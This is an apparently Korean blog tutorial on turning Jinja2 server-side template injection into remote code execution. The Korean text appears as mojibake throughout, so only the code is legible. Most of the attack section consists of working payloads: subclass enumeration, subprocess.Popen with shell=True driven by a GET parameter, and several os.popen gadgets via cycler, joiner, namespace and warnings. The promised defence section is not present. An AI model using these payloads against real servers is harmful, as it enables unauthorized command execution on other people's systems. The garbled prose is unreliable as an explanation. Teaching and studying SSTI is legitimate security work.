web hacking ๐Ÿ–ฅ/techniques โŒ principles

SSTI - RCE(Remote Code Execution) ์—ฐ๊ณ„ ๊ณต๊ฒฉ

Kortsec1 2023. 10. 13. 23:03

SSTI(Server Side Template Injection)์„ ํ†ตํ•œ ์—ฌ๋Ÿฌ ๊ณต๊ฒฉ ๊ฐˆ๋ž˜ ์ค‘ ํ•˜๋‚˜๋ฅผ ์•Œ์•„๋ณผ๊นŒ ํ•ฉ๋‹ˆ๋‹ค.

 

์šฐ์„ , SSTI๊ฐ€ ์ƒ์†Œํ•˜๋‹ค๋ฉด ์ด์ „ ํฌ์ŠคํŒ…์„ ๋ณด๊ณ ์˜ค์‹œ๋Š” ๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

2023.09.12 - [web hacking/techniques] - SSTI ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ ์˜ˆ์ œ ์‹ค์Šต

 

SSTI ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ ์˜ˆ์ œ ์‹ค์Šต

SSTI(Server Side Template Injection)์ทจ์•ฝ์  ๊ณต๊ฒฉ ์ฝ”๋“œ๊ฐ€ ์›น ํ…œํ”Œ๋ฆฟ์— ํฌํ•จ๋œ ์ƒํƒœ์—์„œ ์„œ๋ฒ„ ์ธก์—์„œ ํ…œํ”Œ๋ฆฟ ์ธ์ ์…˜์ด ๋ฐœํ˜„๋˜๋Š” ๊ณต๊ฒฉ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์•ž์„œ, ํ…œํ”Œ๋ฆฟ ์—”์ง„์— ๋Œ€ํ•œ ์ด์•ผ๊ธฐ๋ฅผ ํ•ด๋ด…์‹œ๋‹ค. ์›น ํ…œํ”Œ

kortsec1n4mationm.tistory.com

 

 

RCE(Remote Code Execution)์ด๋ž€, ์ธ๊ฐ€๋ฐ›์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ์ฝ”๋“œ๋ฅผ ์„œ๋ฒ„์—์„œ ์›๊ฒฉ์œผ๋กœ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค.

๋Œ€ํ‘œ์ ์ธ ์˜ˆ๋กœ๋Š” ์œˆ๋„ SMBv3 ์ทจ์•ฝ์ (CVE-2020-0796)์ด ์žˆ๋Š”๋ฐ, ํ•ด๋‹น ์ทจ์•ฝ์ ์˜ ๊ฒฝ์šฐ 2017๋…„ 'Wannacry' ๋žœ์„ฌ์›จ์–ด ๋ฐฐํฌ์™€ ๊นŠ์€ ๊ด€๋ จ์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

 

 

 

์ด๋ฒˆ ํฌ์ŠคํŒ…์—์„œ๋Š” SSTI ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ ์›๊ฒฉ์œผ๋กœ ์‰˜์„ ์‹คํ–‰์‹œํ‚ค๊ณ  ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ›์•„๋ณด๋Š” ์‹ค์Šต์„ ์ง„ํ–‰ํ•ด ๋ณผ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋””ํ…Œ์ผํ•œ ๊ณต๊ฒฉ ๊ณผ์ •์„ ๊ฑฐ์น˜๊ณ , ์ด๋ฅผ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ์‚ดํŽด๋ณด๋„๋ก ํ•ฉ์‹œ๋‹ค.

 

 

 

์„ธ๋ถ€ ๊ณต๊ฒฉ ๊ณผ์ •

subprocess.Popenํ˜ธ์ถœ๊ณผ ํ•จ๊ป˜ ์„ธ๋ถ€ ๊ณต๊ฒฉ ์ฝ”๋“œ์— ๊ด€ํ•ด ์ž์„ธํžˆ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

์ €๋ฒˆ ํฌ์ŠคํŒ…์— ์ด์–ด์„œ {{ ''.__class__.__mro__[1].__subclasses__() }} ๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉํ•  ํด๋ž˜์Šค๋“ค์„ ํƒ์ƒ‰ํ•ด ๋ด…์‹œ๋‹ค.

 

img_1 available subclasses

 

subprocess๋Š” ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑ ๋ฐ ์ž…๋ ฅ/์ถœ๋ ฅ/์—๋Ÿฌ ํŒŒ์ดํ”„์— ์—ฐ๊ฒฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

ํ•ด๋‹น ๋ชจ๋“ˆ์˜ ํ•˜๋ถ€ ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ๊ณผ ์ฒ˜๋ฆฌ๋ฅผ ๋‹ด๋‹นํ•˜๋Š” Popen์„ ํ˜ธ์ถœํ•˜์—ฌ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๋ช…๋ น์„ ์‹คํ–‰ ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ ๋งํฌ๋ฅผ ํ™•์ธํ•ด ๋ณด์‹œ๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค.

https://docs.python.org/ko/3/library/subprocess.html

 

subprocess — Subprocess management

Source code: Lib/subprocess.py The subprocess module allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes. This module intends to replace seve...

docs.python.org

 

 

์ €์˜ ๊ฒฝ์šฐ์—๋Š” 426๋ฒˆ index์— ํด๋ž˜์Šค๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

{{''.__class__.__mro__[1].__subclasses__()[426]('ls')}}

์šฐ์„ , Popen('ls')์˜ ๊ฒฐ๊ณผ๋ฅผ ํ•œ๋ฒˆ ์‚ดํŽด๋ณผ๊นŒ์š”?

 

img_2 result of subprocess.popen('ls')

 

img_2์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ์ด ์›ํ•˜๋Š” ๊ฒฐ๊ณผ๋Š” ๋‚˜์˜ค์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ, ์„œ๋ฒ„ ํ™•์ธ์„ ํ•ด๋ณด๋‹ˆ ์‰˜ ๋ช…๋ น์ด ์„œ๋ฒ„ ์ชฝ์—์„œ ์‹คํ–‰๋˜์—ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

 

 

 

return ๊ฐ’์œผ๋กœ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ›์•„๋ณด๊ธฐ ์œ„ํ•ด์„  communicate ๋งค์„œ๋“œ๋ฅผ ํ™œ์šฉํ•˜๋ฉด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

{{''.__class__.__mro__[1].__subclasses__()[426]('ls').communicate()}}

์•„๋ž˜ img_3๊ณผ ๊ฐ™์ด communicate ๋งค์„œ๋“œ๋Š” ํŠœํ”Œ (stdout_data, stderr_data)๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

img_3 return value of communicate method

 

 

 

 

 

์ด์–ด์„œ Popen์˜ ์ธ์ž์— stdout=-1๋ฅผ ์ถ”๊ฐ€ํ•ด ์คŒ ์œผ๋กœ์„œ, ๊ฒฐ๊ณผ๊ฐ’์„ ๋ฐ›์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

{{''.__class__.__mro__[1].__subclasses__()[426]('ls',stdout=-1).communicate()}}

stdout=-1์—์„œ ๊ฐ’, -1์€ ๋‹จ์ง€ PIPE๋ฅผ ์˜๋ฏธํ•˜๋Š” ๊ฐ’์ž…๋‹ˆ๋‹ค. ์•„๋ž˜ ๋ฌธ์„œ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://github.com/python/cpython/blob/3.10/Lib/subprocess.py#L259

 

img_4 rce ret value

 

์œ„์™€๊ฐ™์ด ์„ฑ๊ณต์ ์œผ๋กœ ์‰˜ ๊ฒฐ๊ณผ๊ฐ’์„ ๋ฐ›์•„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ถ”๊ฐ€๋กœ Shell=True๋ฅผ ๋„ฃ์–ด์ฃผ๋ฉด ์ง€์ •๋œ ๋ช…๋ น์ด shell์„ ํ†ตํ•ด ์‹คํ–‰๋˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

 

 

{{''.__class__.__mro__[1].__subclasses__()[426](request.args.get('shell'),stdout=-1,shell=True).communicate()}}

์—ฌ๊ธฐ์„œ get ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ž์œ ์ž์žฌ๋กœ shell ๋ช…๋ น์„ ์ด์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

img_5 using get parameter

 

subprocess.Popen ๋ง๊ณ ๋„ ๋‹ค์–‘ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ†ตํ•œ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ๊ทธ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

# warnings.catch_warnings
{{ ''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['sys'].modules['os'].popen('ls').read() }}

# cycler, joiner, namespace
{{ cycler.__init__.__globals__.os.popen('ls').read() }}
{{ joiner.__init__.__globals__.os.popen('ls').read() }}
{{ namespace.__init__.__globals__.os.popen('ls').read() }}